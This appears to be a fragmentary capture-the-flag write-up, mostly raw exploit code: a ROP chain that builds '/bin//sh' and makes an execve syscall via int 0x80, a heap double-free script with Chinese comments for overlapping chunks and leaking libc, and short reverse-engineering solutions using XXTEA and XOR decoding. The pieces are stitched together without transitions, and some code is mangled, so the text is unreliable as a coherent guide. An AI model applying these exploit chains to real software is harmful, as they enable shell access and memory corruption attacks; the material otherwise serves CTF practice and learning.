p = '' p += pack('<I', 0x08072f8b) # pop edx ; ret p += pack('<I', 0x080f5000) # @ .data p += pack('<I', 0x080c11e6) # pop eax ; ret p += '/bin' p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x08072f8b) # pop edx ; ret p += pack('<I', 0x080f5004) # @ .data + 4 p += pack('<I', 0x080c11e6) # pop eax ; ret p += '//sh' p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x08072f8b) # pop edx ; ret p += pack('<I', 0x080f5008) # @ .data + 8 p += pack('<I', 0x080569a0) # xor eax, eax ; ret p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481d9) # pop ebx ; ret p += pack('<I', 0x080f5000) # @ .data p += pack('<I', 0x08072fb2) # pop ecx ; pop ebx ; ret p += pack('<I', 0x080f5008) # @ .data + 8 p += pack('<I', 0x080f5000) # padding without overwrite ebx p += pack('<I', 0x08072f8b) # pop edx ; ret p += pack('<I', 0x080f5008) # @ .data + 8 p += pack('<I', 0x080569a0) # xor eax, eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x08049903) # int 0x80
defmain(): ''' 构造第一个double free,chunk大小为0x60 ''' add(0x10, p64(0) + p64(0x40)) # 伪造一个chunk头在这 add(0x30, 'xx') # chunkA 之后将分配一个chunk与它重合,用于泄露libc for i in range(14): add(0x10, 'a') for i in range(4): add(0x50, 'a')
remove(2) remove(2) remove(19) remove(16) for i in range(12): remove(2) remove(5) # 0-4 ''' 构造第二个double free,chunk大小为0x40 ''' for i in range(11): add(0x20, 'a') for i in range(4): add(0x30, 'a') remove(5) remove(5) remove(19) remove(16) for i in range(9): remove(5) remove(7)
''' 使用第二个构造的double free,用于将chunk分配到chunkA的地方 这样就获得了两个指向同一chunk的指针,但是需要爆破,因为写\x20时实际写的是\x20\x00 ''' add(0x30, '\x20') add(0x30, 'xxx') add(0x30, 'xxx') add(0x30, 'xxx') ''' 在使用再使用第二个构造的double free,将chunk分配到chunkA前面伪造好的chunk头处 然后修改chunkA的size为0xa1 ''' remove(7) remove(8) remove(7) add(0x30, '\x10') add(0x30, 'xxx') add(0x30, 'xxx') add(0x30, '\x00'*8 + '\xa1') ''' 构造第三个double free,chunk大小为0x70 ''' for i in range(5): add(0x40, 'xxx') for i in range(2): add(0x60, 'xxx') remove(13) remove(13) remove(19) remove(16) for i in range(3): remove(13) remove(13)
bc a5 ce 40 f4 b2 b2 e7 a9 12 9d 12 ae 10 c8 5b 3d d7 6 1d dc 70 f8 dc
使用xxtea解密函数,因为已知输入前四字节为flag,所以密钥为flag。
解密出flag为flag{CXX_and_++tea}
easyRE
第一个输入对相应密文做简单的异或处理便可得到。
1 2 3 4 5
a=[0x49,0x6F,0x64,0x6C,0x3E,0x51,0x6E,0x62,0x28,0x6F,0x63,0x79,0x7F,0x79,0x2E,0x69,0x7F,0x64,0x60,0x33,0x77,0x7D,0x77,0x65,0x6B,0x39,0x7B,0x69,0x79,0x3D,0x7E,0x79,0x4C,0x40,0x45,0x43] input1='' for i in range(36): input1+=chr(a[i]^i) print input1
for i in range(0x3e): tmp1=table11[i] tmp2=table12[i] for k in range(20,128): if(table2[(k%23)] == tmp1 and table2[(k/23)] == tmp2): flag+=chr(k) break print flag